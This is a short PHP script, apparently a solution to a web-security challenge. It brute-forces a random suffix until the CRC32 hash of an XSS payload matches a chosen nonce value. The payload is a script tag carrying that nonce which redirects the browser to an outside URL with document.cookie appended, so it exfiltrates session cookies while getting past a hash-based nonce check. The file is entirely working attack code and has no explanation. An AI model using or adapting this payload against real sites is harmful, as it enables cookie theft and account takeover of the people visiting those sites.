nonce.php

<?php
ini_set('memory_limit', '-1');
$hash = '3e09eb42';
$charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$prefix = '<script nonce="3e09eb42">window.location="https://url/b?"+document.cookie</script>';
$charset_length = strlen($charset);

function check_hash($string, $hash) {
    return hash('crc32b', $string) === $hash;
}

$max_length = 15;
$string = '' ;

while ( check_hash($prefix . $string, $hash) === false ) {
    $string = '' ;
    for ($i = 0; $i < $max_length; $i++) {
        $string .= $charset[mt_rand(0, $charset_length - 1)];
    }
}

echo $prefix . $string;